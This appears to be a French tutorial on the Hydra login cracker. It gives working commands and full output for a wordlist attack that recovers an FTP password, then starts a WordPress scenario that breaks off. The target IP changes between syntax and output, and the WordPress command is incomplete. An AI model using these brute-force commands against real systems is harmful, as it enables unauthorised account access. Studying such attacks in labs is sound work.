Hydra
Hydra est un cracker de connexion qui prend en charge de nombreux protocoles d’attaque. Il est très rapide et flexible, et peut être étendu grâce à des modules supplémentaires. Il est préinstallé sur Kali Linux.
Scénario N°1 : Piratage de serveur FTP
1. Voici la syntaxe de la commande :
┌──(root㉿kalivm)-[/home/kali/Bureau/bopscrk]
└─# hydra -t 1 -l kali -P password.txt -vV 192.168.32.150 ftp
Ici j’utilise le nom d’utilisateur kali et la wordlist password.txt, et attaque le serveur à 192.168.32.150 en mode FTP
Sortie de la commande
┌──(root㉿kalivm)-[/home/kali/Bureau/bopscrk]
└─# hydra -t 1 -l kali -P password.txt -vV 129.2.32.150 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-23 12:24:
45
[DATA] max 1 task per 1 server, overall 1 task, 2 login tries (l:1/p:2), ~2 trie
s per task
[DATA] attacking ftp://129.2.32.150:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 129.2.32.150 - login "kali" - pass "test" - 1 of 2 [child 0] (0
/0)
[ATTEMPT] target 129.2.32.150 - login "kali" - pass "kali" - 2 of 2 [child 0] (0
/0)
[21][ftp] host: 129.2.32.150 login: kali password: kali
[STATUS] attack finished for 129.2.32.150 (waiting for children to complete test
s)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-23 12:24:
49
L’outil à bien trouvé le mot de passe kali associé au nom d’utilisateur kali
Il y à une méthode plus rapide avec la commande suivante, cependant elle risque de ne pas fonctionner car elle occasionne tellement de bruit sur le réseau que l’IP va se faire bannir très rapidement si le serveur ou le pare-feu sont configurés correctement
┌──(root㉿kalivm)-[/home/kali/Bureau/bopscrk]
└─# hydra -l kali -P password.txt -vV 129.2.32.150 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-23 12:26:
05
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 tr
y per task
[DATA] attacking ftp://129.2.32.150:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 129.2.32.150 - login "kali" - pass "test" - 1 of 2 [child 0] (0
/0)
[ATTEMPT] target 129.2.32.150 - login "kali" - pass "kali" - 2 of 2 [child 1] (0
/0)
[21][ftp] host: 129.2.32.150 login: kali password: kali
[STATUS] attack finished for 129.2.32.150 (waiting for children to complete test
s)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-23 12:26:
09Scénario N°2 : Piratage de site WordPress
1. Voici la syntaxe de la commande :
┌──(root㉿kalivm)-[/home/kali/Bureau/bopscrk]
└─# hydra -L users.txt -P password.lst -vV 129.2.32.150 2. Pour utiliser vos propres listes et dictionnaires, il ne faut pas oublier de les copier dans votre répertoire courant ou de bien renseigner leur emplacement, sinon le programme ne trouvera pas les listes et ne pourra donc pas chercher, ce n’est pas du brute-force dans le cas présent.
Voici un exemple d’une attaque en cours.
